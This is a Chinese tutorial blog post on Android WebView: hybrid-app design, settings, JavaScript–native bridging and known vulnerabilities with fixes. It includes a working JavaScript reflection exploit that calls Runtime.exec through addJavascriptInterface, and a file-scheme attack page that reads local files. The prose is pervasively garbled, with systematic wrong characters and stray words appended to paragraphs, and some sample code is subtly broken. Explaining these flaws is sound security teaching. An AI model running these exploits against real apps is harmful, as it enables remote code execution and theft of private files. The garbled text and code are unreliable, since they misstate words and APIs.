android WebView详解,常见漏洞详解和安全源码

  这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析。
  转载请注明出处:blog.csdn.net/self_study/…
  对技术感兴趣的同鞋加群 544645972 一块儿交流。javascript

Android Hybrid 和 WebView 解析

  如今市面上的 APP 根据类型大体能够分为 3 类:Native APP、Web APP 和 Hybrid APP,而 Hybrid APP 兼具 “Native APP 良好用户交互体验的优点”和 “Web APP 跨平台开发的优点”,如今不少的主流应用也是使用 Hybrid 模式开发的。html

Hybrid 的优点与原生的体验差距

Hybrid 的优点

  为何要使用 Hybrid 开发呢,这就要提到 native 开发的限制:

  1.客户端发板周期长

    众所周知,客户端的发板周期在正常状况下比较长,就算是创业公司的迭代也在一到两个星期一次,大公司的迭代周期通常都在月这个数量级别上,并且 Android 还好,iOS 的审核就算变短了也有几天,并且可能会有审核不经过的意外状况出现,所谓为了应对业务的快速发展,不少业务好比一些活动页面就可使用 H5 来进行开发。

  2.客户端大小体积受限

    若是全部的东西都使用 native 开发,好比上面提到的活动页面,就会形成大量的资源文件要加入到 APK 中,这就形成 APK 大小增长,并且有的活动页面更新很快,形成资源文件可能只会使用一个版本,若是不及时清理,就会形成资源文件的残留。

  3.web 页面的体验问题

    使用纯 Web 开发,比之前迭代快速不少,可是从某种程度上来讲,仍是不如原生页面的交互体验好;
  4.没法跨平台

    通常状况下,同同样的页面在 android 和 iOS 上须要写两份不一样的代码,可是如今只须要写一份便可,Hybrid 具备跨平台的优点。


  因此综上这两种方式单独处理都不是特别好,考虑到发版周期不定,并且体验交互上也不能不好,因此就把两种方式综合起来,让终端和前端共同开发一个 APP,这样一些迭代很稳定的页面就可使用原生,增长体验性;一些迭代很快速的页面就可使用 H5,让两种优势结合起来,弥补原来单个开发模式的缺点。
前端

这里写图片描述

H5 与 Native 的体验差距

  H5 和 Native 的体验差距主要在两个方面:

  1.页面渲染瓶颈

    第一个是前端页面代码渲染,受限于 JS 的解析效率,以及手机硬件设备的一些性能,因此从这个角度来讲,咱们应用开发者是很难从根本上解决这个问题的;

  2.资源加载缓慢

    第二个方面是 H5 页面是从服务器上下发的,客户端的页面在内存里面,在页面加载时间上面,根据网络情况的不一样,H5 页面的体验和 Native 在不少状况下相比差距仍是不小的,可是这种问题从某种程度上来讲也是能够弥补的,好比说咱们能够作一些资源预加载的方案,在资源预加载方面,其实也有不少种方式,下面主要列举了一些:java

  • 第一种方式是使用 WebView 自身的缓存机制:
  • 若是咱们在 APP 里面访问一个页面,短期内再次访问这个页面的时候,就会感受到第二次打开的时候顺畅不少,加载速度比第一次的时间要短,这个就是由于 WebView 自身内部会作一些缓存,只要打开过的资源,他都会试着缓存到本地,第二次须要访问的时候他直接从本地读取,可是这个读取实际上是不太稳定的东西,关掉以后,或者说这种缓存失效以后,系统会自动把它清除,咱们没办法进行控制。基于这个 WebView 自身的缓存,有一种资源预加载的方案就是,咱们在应用启动的时候能够开一个像素的 WebView ,事先去访问一下咱们经常使用的资源,后续打开页面的时候若是再用到这些资源他就能够从本地获取到,页面加载的时间会短一些。
  • 第二种方案是,咱们本身去构建,本身管理缓存:
  • 把这些须要预加载的资源放在 APP 里面,他多是预先放进去的,也多是后续下载的,问题在于前端这些页面怎么去缓存,两个方案,第一种是前端能够在 H5 打包的时候把里面的资源 URL 进行替换,这样能够直接访问本地的地址;第二种是客户端能够拦截这些网页发出的全部请求作替换:
    这里写图片描述

    这个是美团使用的预加载方案(详情请看: 美团大众点评 Hybrid 化建设),归属于第二种加载方案,每当 WebView 发起资源请求的时候,咱们会拦截这些资源的请求,去本地检查一下咱们这些静态资源本地离线包有没有。针对本地的缓存文件咱们有些策略可以及时的去更新它,为了安全考虑,也须要同时作一些预下载和安全包的加密工做。预下载有如下几点优点:
    1. 咱们拦截了 WebView 里面发出的全部的请求,可是并无替换里面的前端应用的任何代码,前端这套页面代码能够在 APP 内,或者其余的 APP 里面均可以直接访问,他不须要为咱们 APP 作定制化的东西;
    2. 这些 URL 请求,他会直接带上先前用户操做所留下的 Cookie ,由于咱们没有更改资源原始 URL 地址;
    3. 整个前端在用离线包和缓存文件的时候是彻底无感知的,前端只用管写一个本身的页面,客户端会帮他处理好这样一些静态资源预加载的问题,有这个离线包的话,加载速度会变快不少,特别是在弱网状况下,没有这些离线包加载速度会慢一些。并且若是本地离线包的版本不能跟 H5 匹配的话,H5 页面也不会发生什么问题。
      实际资源预下载也确实可以有效的增长页面的加载速度,具体的对比能够去看美团的那片文章。
  那么什么地方须要使用 Native 开发,什么地方须要使用 H5 开发呢:通常来讲 Hybrid 是用在一些快速迭代试错的地方,另一些非主要产品的页面,也可使用 Hybrid 去作;可是若是是一些很重要的流程,使用频率很高,特别核心的功能,仍是应该使用 Native 开发,让用户获得一个极致的产品体验。

WebView 详细介绍

  咱们来看看 Google 官网关于 WebView 的介绍:android

A View that displays web pages. This class is the basis upon which you can roll your own web browser or simply display some online content within your Activity. It uses the WebKit rendering engine to display web pages and includes methods to navigate forward and backward through a history, zoom in and out, perform text searches and more.复制代码

能够看到 WebView 是一个显示网页的控件,而且能够简单的显示一些在线的内容,而且基于 WebKit 内核,在 Android4.4(API Level 19) 引入了一个基于 Chromium 的新版本 WebView ,这让咱们的 WebView 能支持 HTML5 和 CSS3 以及 Javascript,有一点须要注意的是因为 WebView 的升级,对于咱们的程序也带来了一些影响,若是咱们的 targetSdkVersion 设置的是 18 或者更低, single and narrow column 和 default zoom levels 再也不支持。Android4.4 以后有一个特别方便的地方是能够经过 setWebContentDebuggingEnabled() 方法让咱们的程序能够进行远程桌面调试。git

WebView 加载页面

  WebView 有四个用来加载页面的方法:github

  使用起来较为简单,loadData 方法会有一些坑,在下面的内容会介绍到。

WebView 常见设置

  使用 WebView 的时候,通常都会对其进行一些设置,咱们来看看常见的设置:web

WebSettings webSettings = webView.getSettings();
//设置了这个属性后咱们才能在 WebView 里与咱们的 Js 代码进行交互,对于 WebApp 是很是重要的,默认是 false,
//所以咱们须要设置为 true,这个自己会有漏洞,具体的下面我会讲到
webSettings.setJavaScriptEnabled(true);

//设置 JS 是否能够打开 WebView 新窗口
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);

//WebView 是否支持多窗口,若是设置为 true,须要重写 
//WebChromeClient#onCreateWindow(WebView, boolean, boolean, Message) 函数,默认为 false
webSettings.setSupportMultipleWindows(true);

//这个属性用来设置 WebView 是否可以加载图片资源,须要注意的是,这个方法会控制全部图片,包括那些使用 data URI 协议嵌入
//的图片。使用 setBlockNetworkImage(boolean) 方法来控制仅仅加载使用网络 URI 协议的图片。须要提到的一点是若是这
//个设置从 false 变为 true 以后,全部被内容引用的正在显示的 WebView 图片资源都会自动加载,该标识默认值为 true。
webSettings.setLoadsImagesAutomatically(false);
//标识是否加载网络上的图片(使用 http 或者 https 域名的资源),须要注意的是若是 getLoadsImagesAutomatically() 
//不返回 true,这个标识将没有做用。这个标识和上面的标识会互相影响。
webSettings.setBlockNetworkImage(true);

//显示WebView提供的缩放控件
webSettings.setDisplayZoomControls(true);
webSettings.setBuiltInZoomControls(true);

//设置是否启动 WebView API,默认值为 false
webSettings.setDatabaseEnabled(true);

//打开 WebView 的 storage 功能,这样 JS 的 localStorage,sessionStorage 对象才可使用
webSettings.setDomStorageEnabled(true);

//打开 WebView 的 LBS 功能,这样 JS 的 geolocation 对象才可使用
webSettings.setGeolocationEnabled(true);
webSettings.setGeolocationDatabasePath("");

//设置是否打开 WebView 表单数据的保存功能
webSettings.setSaveFormData(true);

//设置 WebView 的默认 userAgent 字符串
webSettings.setUserAgentString("");

//设置是否 WebView 支持 “viewport” 的 HTML meta tag,这个标识是用来屏幕自适应的,当这个标识设置为 false 时,
//页面布局的宽度被一直设置为 CSS 中控制的 WebView 的宽度;若是设置为 true 而且页面含有 viewport meta tag,那么
//被这个 tag 声明的宽度将会被使用,若是页面没有这个 tag 或者没有提供一个宽度,那么一个宽型 viewport 将会被使用。
webSettings.setUseWideViewPort(false);

//设置 WebView 的字体,能够经过这个函数,改变 WebView 的字体,默认字体为 "sans-serif"
webSettings.setStandardFontFamily("");
//设置 WebView 字体的大小,默认大小为 16
webSettings.setDefaultFontSize(20);
//设置 WebView 支持的最小字体大小,默认为 8
webSettings.setMinimumFontSize(12);

//设置页面是否支持缩放
webSettings.setSupportZoom(true);
//设置文本的缩放倍数,默认为 100
webSettings.setTextZoom(2);复制代码

  而后还有最经常使用的 WebViewClient 和 WebChromeClient,WebViewClient主要辅助WebView执行处理各类响应请求事件的,好比:chrome

  • onLoadResource
  • onPageStart
  • onPageFinish
  • onReceiveError
  • onReceivedHttpAuthRequest
  • shouldOverrideUrlLoading
WebChromeClient 主要辅助 WebView 处理J avaScript 的对话框、网站 Logo、网站 title、load 进度等处理:
  • onCloseWindow(关闭WebView)
  • onCreateWindow
  • onJsAlert
  • onJsPrompt
  • onJsConfirm
  • onProgressChanged
  • onReceivedIcon
  • onReceivedTitle
  • onShowCustomView
WebView 只是用来处理一些 html 的页面内容,只用 WebViewClient 就好了,若是须要更丰富的处理效果,好比 JS、进度条等,就要用到 WebChromeClient,咱们接下来为了处理在特定版本之下的 js 漏洞问题,就须要用到 WebChromeClient。
  接着还有 WebView 的几种缓存模式:
  • LOAD_CACHE_ONLY
  • 不使用网络,只读取本地缓存数据;
  • LOAD_DEFAULT
  • 根据 cache-control 决定是否从网络上取数据;
  • LOAD_CACHE_NORMAL
  • API level 17 中已经废弃, 从 API level 11 开始做用同 LOAD_DEFAULT 模式 ;
  • LOAD_NO_CACHE
  • 不使用缓存,只从网络获取数据;
  • LOAD_CACHE_ELSE_NETWORK
  • 只要本地有,不管是否过时,或者 no-cache,都使用缓存中的数据。
www.baidu.com 的 cache-control 为 no-cache,在模式 LOAD_DEFAULT 下,不管如何都会从网络上取数据,若是没有网络,就会出现错误页面;在 LOAD_CACHE_ELSE_NETWORK 模式下,不管是否有网,只要本地有缓存,都会加载缓存。本地没有缓存时才从网络上获取,这个和 Http 缓存一致,我不在过多介绍,若是你想自定义缓存策略和时间,能够尝试下,volley 就是使用了 http 定义的缓存时间。
  清空缓存和清空历史记录,CacheManager 来处理 webview 缓存相关: mWebView.clearCache(true);;清空历史记录 mWebview.clearHistory();,这个方法要在 onPageFinished() 的方法以后调用。

WebView 与 native 的交互

  使用 Hybrid 开发的 APP 基本都须要 Native 和 web 页面的 JS 进行交互,下面介绍一下交互的方式。
json

js 调用 native

  如何让 web 页面调用 native 的代码呢,有三种方式:

  第一种方式:经过 addJavascriptInterface 方法进行添加对象映射
  这种是使用最多的方式了,首先第一步咱们须要设置一个属性:

mWebView.getSettings().setJavaScriptEnabled(true);复制代码

这个函数会有一个警告,由于在特定的版本之下会有很是危险的漏洞,咱们下面将会着重介绍到,设置完这个属性以后,Native 须要定义一个类:

public class JSObject {
    private Context mContext;
    public JSObject(Context context) {
        mContext = context;
    }

    @JavascriptInterface
    public String showToast(String text) {
        Toast.show(mContext, text, Toast.LENGTH_SHORT).show();
        return "success";
    }
}
...
//特定版本下会存在漏洞
mWebView.addJavascriptInterface(new JSObject(this), "myObj");复制代码

须要注意的是在 API17 版本以后,须要在被调用的地方加上 @addJavascriptInterface 约束注解,由于不加上注解的方法是没有办法被调用的,JS 代码也很简单:

function showToast(){
    var result = myObj.showToast("我是来自web的Toast");
}复制代码

能够看到,这种方式的好处在于使用简单明了,本地和 JS 的约定也很简单,就是对象名称和方法名称约定好便可,缺点就是下面要提到的漏洞问题。

  第二种方式:利用 WebViewClient 接口回调方法拦截 url

  这种方式其实实现也很简单,使用的频次也很高,上面咱们介绍到了 WebViewClient ,其中有个回调接口 shouldOverrideUrlLoading (WebView view, String url)) ,咱们就是利用这个拦截 url,而后解析这个 url 的协议,若是发现是咱们预先约定好的协议就开始解析参数,执行相应的逻辑,咱们先来看看这个函数的介绍:

Give the host application a chance to take over the control when a new url is about to be loaded in 
the current WebView. If WebViewClient is not provided, by default WebView will ask Activity Manager 
to choose the proper handler for the url. If WebViewClient is provided, return true means the host 
application handles the url, while return false means the current WebView handles the url. This 
method is not called for requests using the POST "method".复制代码

注意这个方法在 API24 版本已经废弃了,须要使用 shouldOverrideUrlLoading (WebView view, WebResourceRequest request)) 替代,使用方法很相似,咱们这里就使用 shouldOverrideUrlLoading (WebView view, String url)) 方法来介绍一下:

public boolean shouldOverrideUrlLoading(WebView view, String url) {
    //假定传入进来的 url = "js://openActivity?arg1=111&arg2=222",表明须要打开本地页面,而且带入相应的参数
    Uri uri = Uri.parse(url);
    String scheme = uri.getScheme();
    //若是 scheme 为 js,表明为预先约定的 js 协议
    if (scheme.equals("js")) {
          //若是 authority 为 openActivity,表明 web 须要打开一个本地的页面
        if (uri.getAuthority().equals("openActivity")) {
              //解析 web 页面带过来的相关参数
            HashMap<String, String> params = new HashMap<>();
            Set<String> collection = uri.getQueryParameterNames();
            for (String name : collection) {
                params.put(name, uri.getQueryParameter(name));
            }
            Intent intent = new Intent(getContext(), MainActivity.class);
            intent.putExtra("params", params);
            getContext().startActivity(intent);
        }
        //表明应用内部处理完成
        return true;
    }
    return super.shouldOverrideUrlLoading(view, url);
}复制代码

代码很简单,这个方法能够拦截 WebView 中加载 url 的过程,获得对应的 url,咱们就能够经过这个方法,与网页约定好一个协议,若是匹配,执行相应操做,咱们看一下 JS 的代码:

function openActivity(){
    document.location = "js://openActivity?arg1=111&arg2=222";
}复制代码

这个代码执行以后,就会触发本地的 shouldOverrideUrlLoading 方法,而后进行参数解析,调用指定方法。这个方式不会存在第一种提到的漏洞问题,可是它也有一个很繁琐的地方是,若是 web 端想要获得方法的返回值,只能经过 WebView 的 loadUrl 方法去执行 JS 方法把返回值传递回去,相关的代码以下:

//java
mWebView.loadUrl("javascript:returnResult(" + result + ")");复制代码
//javascript
function returnResult(result){
    alert("result is" + result);
}复制代码

因此说第二种方式在返回值方面仍是很繁琐的,可是在不须要返回值的状况下,好比打开 Native 页面,仍是很合适的,制定好相应的协议,就可以让 web 端具备打开全部本地页面的能力了。

  第三种方式:利用 WebChromeClient 回调接口的三个方法拦截消息

  这个方法的原理和第二种方式原理同样,都是拦截相关接口,只是拦截的接口不同:

@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
    return super.onJsAlert(view, url, message, result);
}

@Override
public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
    return super.onJsConfirm(view, url, message, result);
}

@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
    //假定传入进来的 message = "js://openActivity?arg1=111&arg2=222",表明须要打开本地页面,而且带入相应的参数
    Uri uri = Uri.parse(message);
    String scheme = uri.getScheme();
    if (scheme.equals("js")) {
        if (uri.getAuthority().equals("openActivity")) {
            HashMap<String, String> params = new HashMap<>();
            Set<String> collection = uri.getQueryParameterNames();
            for (String name : collection) {
                params.put(name, uri.getQueryParameter(name));
            }
            Intent intent = new Intent(getContext(), MainActivity.class);
            intent.putExtra("params", params);
            getContext().startActivity(intent);
            //表明应用内部处理完成
            result.confirm("success");
        }
        return true;
    }
    return super.onJsPrompt(view, url, message, defaultValue, result);
}复制代码

和 WebViewClient 同样,此次添加的是 WebChromeClient 接口,能够拦截 JS 中的几个提示方法,也就是几种样式的对话框,在 JS 中有三个经常使用的对话框方法:

  • onJsAlert 方法是弹出警告框,通常状况下在 Android 中为 Toast,在文本里面加入\n就能够换行;
  • onJsConfirm 弹出确认框,会返回布尔值,经过这个值能够判断点击时确认仍是取消,true表示点击了确认,false表示点击了取消;
  • onJsPrompt 弹出输入框,点击确认返回输入框中的值,点击取消返回 null。
可是这三种对话框都是能够本地拦截到的,因此能够从这里去作一些更改,拦截这些方法,获得他们的内容,进行解析,好比若是是 JS 的协议,则说明为内部协议,进行下一步解析而后进行相关的操做便可,prompt 方法调用以下所示:

function clickprompt(){
    var result=prompt("js://openActivity?arg1=111&arg2=222");
    alert("open activity " + result);
}复制代码

这里须要注意的是 prompt 里面的内容是经过 message 传递过来的,并非第二个参数的 url,返回值是经过 JsPromptResult 对象传递。为何要拦截 onJsPrompt 方法,而不是拦截其余的两个方法,这个从某种意义上来讲都是可行的,可是若是须要返回值给 web 端的话就不行了,由于 onJsAlert 是不能返回值的,而 onJsConfirm 只可以返回肯定或者取消两个值,只有 onJsPrompt 方法是能够返回字符串类型的值,操做最全面方便。

  以上三种方案的总结和对比

  以上三种方案都是可行的,在这里总结一下

  • 第一种方式:
  • 是如今目前最广泛的用法,方便简洁,可是惟一的不足是在 4.2 系统如下存在漏洞问题;
  • 第二种方式:
  • 经过拦截 url 并解析,若是是已经约定好的协议则进行相应规定好的操做,缺点就是协议的约束须要记录一个规范的文档,并且从 Native 层往 Web 层传递值比较繁琐,优势就是不会存在漏洞,iOS7 之下的版本就是使用的这种方式。
  • 第三种方式:
  • 和第二种方式的思想实际上是相似的,只是拦截的方法变了,这里拦截了 JS 中的三种对话框方法,而这三种对话框方法的区别就在于返回值问题,alert 对话框没有返回值,confirm 的对话框方法只有两种状态的返回值,prompt 对话框方法能够返回任意类型的返回值,缺点就是协议的制定比较麻烦,须要记录详细的文档,可是不会存在第二种方法的漏洞问题。

native 调用 js

  第一种方式
  native 调用 js 的方法上面已经介绍到了,方法为:

//java
mWebView.loadUrl("javascript:show(" + result + ")");复制代码
//javascript
<script type="text/javascript">

function show(result){
    alert("result"=result);
    return "success";
}

</script>复制代码

须要注意的是名字必定要对应上,要否则是调用不成功的,并且还有一点是 JS 的调用必定要在 onPageFinished 函数回调以后才能调用,要否则也是会失败的
  第二种方式
  若是如今有需求,咱们要获得一个 Native 调用 Web 的回调怎么办,Google 在 Android4.4 为咱们新增长了一个新方法,这个方法比 loadUrl 方法更加方便简洁,并且比 loadUrl 效率更高,由于 loadUrl 的执行会形成页面刷新一次,这个方法不会,由于这个方法是在 4.4 版本才引入的,因此咱们使用的时候须要添加版本的判断:

final int version = Build.VERSION.SDK_INT;
if (version < 18) {
    mWebView.loadUrl(jsStr);
} else {
    mWebView.evaluateJavascript(jsStr, new ValueCallback<String>() {
        @Override
        public void onReceiveValue(String value) {
            //此处为 js 返回的结果
        }
    });
}复制代码

  两种方式的对比
  通常最常使用的就是第一种方法,可是第一种方法获取返回的值比较麻烦,而第二种方法因为是在 4.4 版本引入的,因此局限性比较大。

WebView 常见漏洞

  WebView 的漏洞也是很多,列举一些常见的漏洞,实时更新,若是有其余的常见漏洞,知会一下我~~

WebView 任意代码执行漏洞

  已知的 WebView 任意代码执行漏洞有 4 个,较早被公布是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口会引发远程代码执行漏洞。接着是 CVE-2013-4710,针对某些特定机型会存在 addJavascriptInterface API 引发的远程代码执行漏洞。以后是 CVE-2014-1939 爆出 WebView 中内置导出的 “searchBoxJavaBridge_” Java Object 可能被利用,实现远程任意代码。再后来是 CVE-2014-7224,相似于 CVE-2014-1939 ,WebView 内置导出 “accessibility” 和 “accessibilityTraversal” 两个 Java Object 接口,可被利用实现远程任意代码执行。

  通常状况下,WebView 使用 Javascript 脚本的代码以下所示:

WebView mWebView = (WebView)findViewById(R.id.webView);
WebSettings msetting = mWebView.getSettings();
msetting.setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”);
mWebView.loadUrl(url);复制代码

CVE-2012-6636CVE-2013-4710

  Android 系统为了方便 APP 中 Java 代码和网页中的 Javascript 脚本交互,在 WebView 控件中实现了 addJavascriptInterface 接口,如上面的代码所示,咱们来看一下这个方法的官方描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, 
but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version 
later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.
 The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called 
 only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection 
 to access an injected object's public fields. Use of this method in a WebView containing untrusted 
 content could allow an attacker to manipulate the host application in unintended ways, executing Java 
 code with the permissions of the host application. Use extreme care when using this method in a WebView 
 which could contain untrusted content.复制代码

  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore 
    required to maintain thread safety.The Java object's fields are not accessible.复制代码

  • For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are 
    enumerable from JavaScript.复制代码

      能够看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 以前的版本中,使用这个方法是不安全的,网页中的JS脚本能够利用接口 “testjs” 调用 App 中的 Java 代码,而 Java 对象继承关系会致使不少 Public 的函数及 getClass 函数均可以在JS中被访问,结合 Java 的反射机制,攻击者还能够得到系统类的函数,进而能够进行任意代码执行,首先第一步 WebView 添加 Javascript 对象,而且添加一些权限,好比想要获取 SD 卡上面的信息就须要 android.permission.WRITE_EXTERNAL_STORAGE ;第二步 JS 中能够遍历 window 对象,找到存在 getClass 方法的对象,再经过反射的机制,获得 Runtime 对象,而后就能够调用静态方法来执行一些命令,好比访问文件的命令;第三步就是从执行命令后返回的输入流中获得字符串,好比执行完访问文件的命令以后,就能够获得文件名的信息了,有很严重暴露隐私的危险,核心 JS 代码:

    function execute(cmdArgs) {  
        for (var obj in window) {  
            if ("getClass" in window[obj]) {  
                alert(obj);  
                return  window[obj].getClass().forName("java.lang.Runtime")  
                     .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
            }  
        }  
    }复制代码

    因此当一些 APP 经过扫描二维码打开一个外部网页的时候,就能够执行这段 js 代码,漏洞在 2013 年 8 月被披露后,不少 APP 都中招,其中浏览器 APP 成为重灾区,但截至目前仍有不少 APP 中依然存在此漏洞,与以往不一样的只是攻击入口发生了必定的变化。另一些小厂商的 APP 开发团队由于缺少安全意识,依然还在APP中为所欲为的使用 addJavascriptInterface 接口,明目张胆踩雷。

      出于安全考虑,Google 在 API17 版本中就规定可以被调用的函数必须以 @JavascriptInterface 进行注解,理论上若是 APP 依赖的 API 为 17(Android 4.2)或者以上,就不会受该问题的影响,但在部分低版本的机型上,API17 依然受影响,因此危害性到目前为止依旧不小。关于全部 Android 机型的占比,能够看看 Google 的 Dashboards

    这里写图片描述


    截止 2017/1/9 日,能够看到 android5.0 之下的手机依旧很多,须要重视。

       漏洞的解决

      可是这个漏洞也是有解决方案的,上面的不少地方也都提到了这个漏洞,那么这个漏洞怎么去解决呢?这就须要用到 onJsPrompt 这个方法了,这里先给出解决这个漏洞的具体步骤,在下面的源码部分有修复这个漏洞的详细代码:
    • 继承 WebView ,重写 addJavascriptInterface 方法,而后在内部本身维护一个对象映射关系的 Map,当调用 addJavascriptInterface 方法,将须要添加的 JS 接口放入这个 Map 中;
    • 每次当 WebView 加载页面的时候加载一段本地的 JS 代码:

    javascript:(function JsAddJavascriptInterface_(){
        if(typeof(window.XXX_js_interface_name)!='undefined'){
                console.log('window.XXX_js_interface_name is exist!!');
            }else{
               window.XXX_js_interface_name={
                       XXX:function(arg0,arg1){
                         return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
                     },
                };
            }
        })()复制代码

    这段 JS 代码定义了注入的格式,其中的 XXX 为注入对象的方法名字,终端和 web 端只要按照定义的格式去互相调用便可,若是这个对象有多个方法,则会注册多个 window.XXX_js_interface_name 块;

  • 而后在 prompt 中返回咱们约定的字符串,固然这个字符串也能够本身从新定义,它包含了特定的标识符 MyApp,后面包含了一串 JSON 字符串,它包含了方法名,参数,对象名等;
  • 当 JS 调用 XXX 方法的时候,就会调用到终端 Native 层的 OnJsPrompt 方法中,咱们再解析出方法名,参数,对象名等,解析出来以后进行相应的处理,同时返回值也能够经过 prompt 返回回去;
  • window.XXX_js_interface_name 表明在 window 上声明了一个对象,声明的方式是:方法名:function(参数1,参数2)。
  • 还有一个问题是何时加载这段 JS 呢,在 WebView 正常加载 URL 的时候去加载它,可是会发现当 WebView 跳转到下一个页面时,以前加载的 JS 可能就已经无效了,须要再次加载,因此一般须要在一下几个方法中加载 JS,这几个方法分别是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。
      经过这几步,就能够简单的修复漏洞问题,可是还须要注意几个问题,须要过滤掉 Object 类的方法,因为经过反射的形式来获得指定对象的方法,因此基类的方法也能够获得,最顶层的基类就是 Object,为了避免把 getClass 等方法注入到 JS 中,咱们须要把 Object 的共有方法过滤掉,须要过滤的方法列表以下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,“toString”,“wait”,具体的代码实现能够看看下面的源码。

    CVE-2014-1939

      在 2014 年发如今 Android4.4 如下的系统中,webkit 中默认内置了 “searchBoxJavaBridge”,代码位于 “java/android/webkit/BrowserFrame.java”,该接口一样存在远程代码执行的威胁,因此就算没有经过 addJavascriptInterface 加入任何的对象,系统也会加入一个 searchBoxJavaBridge 对象,解决办法就是经过 removeJavascriptInterface 方法将对象删除。

    CVE-2014-7224

      在 2014 年,研究人员 Daoyuan Wu 和 Rocky Chang 发现,当系统辅助功能服务被开启时,在 Android4.4 如下的系统中,由系统提供的 WebView 组件都默认导出 ”accessibility” 和 ”accessibilityTraversal” 这两个接口,代码位于 “android/webkit/AccessibilityInjector.java”,这两个接口一样存在远程任意代码执行的威胁,一样的须要经过 removeJavascriptInterface 方法将这两个对象删除。

    WebView 密码明文存储漏洞

      WebView 默认开启密码保存功能 mWebView.setSavePassword(true),若是该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,若是选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中,这样就有被盗取密码的危险,因此须要经过 WebSettings.setSavePassword(false) 关闭密码保存提醒功能。

    WebView 域控制不严格漏洞

      要了解 WebView 中 file 协议的安全性,咱们这里用一个简单的例子来演示一下,这个 APP 中有一个页面叫作 WebViewActivity :

    public class WebViewActivity extends Activity {
        private WebView webView;
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_webview);
            webView = (WebView) findViewById(R.id.webView);
            //webView.getSettings().setJavaScriptEnabled(true); (0)
            //webView.getSettings().setAllowFileAccess(false); (1)
            //webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)
            //webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)
            Intent i = getIntent();
            String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html 
            webView.loadUrl(url);
        }
     }复制代码

    将该 WebViewActivity 设置为 exported="true",当其余应用启动此 Activity 时, intent 中的 data 直接被看成 url 来加载(假定传进来的 url 为 file:///data/local/tmp/attack.html ),经过其余 APP 使用显式 ComponentName 或者其余相似方式就能够很轻松的启动该 WebViewActivity ,咱们知道由于 Android 中的 sandbox,Android 中的各应用是相互隔离的,在通常状况下 A 应用是不能访问 B 应用的文件的,但不正确的使用 WebView 可能会打破这种隔离,从而带来应用数据泄露的威胁,即 A 应用能够经过 B 应用导出的 Activity 让 B 应用加载一个恶意的 file 协议的 url,从而能够获取 B 应用的内部私有文件,下面咱们着重分析这几个 API 对 WebView 安全性的影响。

    setAllowFileAccess)

    Enables or disables file access within WebView. File access is enabled by default. Note that this 
    enables or disables file system access only. Assets and resources are still accessible using 
    file:///android_asset and file:///android_res.复制代码

      经过这个 API 能够设置是否容许 WebView 使用 File 协议,Android 中默认 setAllowFileAccess(true),因此默认值是容许,在 File 域下,可以执行任意的 JavaScript 代码,同源策略跨域访问则可以对私有目录文件进行访问,APP 嵌入的 WebView 未对 file:/// 形式的 URL 作限制,因此使用 file 域加载的 js 可以使用同源策略跨域访问致使隐私信息泄露,针对 IM 类软件会致使聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是 cookie 信息泄露。若是不容许使用 file 协议,则不会存在下面将要讲到的各类跨源的安全威胁,但同时也限制了 WebView 的功能,使其不能加载本地的 html 文件。禁用 file 协议后,让 WebViewActivity 打开 attack.html 会获得以下图所示的输出,图中所示的文件是存在的,但 WebView 禁止加载此文件,移动版的 Chrome 默认禁止加载 file 协议的文件。

    这里写图片描述


    那么怎么解决呢,不要着急,继续往下看。

    setAllowFileAccessFromFileURLs)

    Sets whether JavaScript running in the context of a file scheme URL should be allowed to access 
    content from other file scheme URLs. To enable the most restrictive, and therefore secure policy, 
    this setting should be disabled. Note that the value of this setting is ignored if the value of 
    getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript 
    access to file scheme resources. Other access to such resources, for example, from image HTML 
    elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH 
    and earlier devices, you should explicitly set this value to false.
    The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level 
    JELLY_BEAN and above.复制代码

      经过此API能够设置是否容许经过 file url 加载的 Javascript 读取其余的本地文件,这个设置在 JELLY_BEAN(android 4.1) 之前的版本默认是容许,在 JELLY_BEAN 及之后的版本中默认是禁止的。当 AllowFileAccessFromFileURLs 设置为 true 时,对应上面的 attack.html 代码为:

    <script>
    function loadXMLDoc() {
        var arm = "file:///etc/hosts";
        var xmlhttp;
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        xmlhttp.onreadystatechange=function() {
            //alert("status is"+xmlhttp.status);
            if (xmlhttp.readyState==4)
            {
                  console.log(xmlhttp.responseText);
            }
        }
        xmlhttp.open("GET",arm);
        xmlhttp.send(null);
    }
    loadXMLDoc();
    </script>复制代码

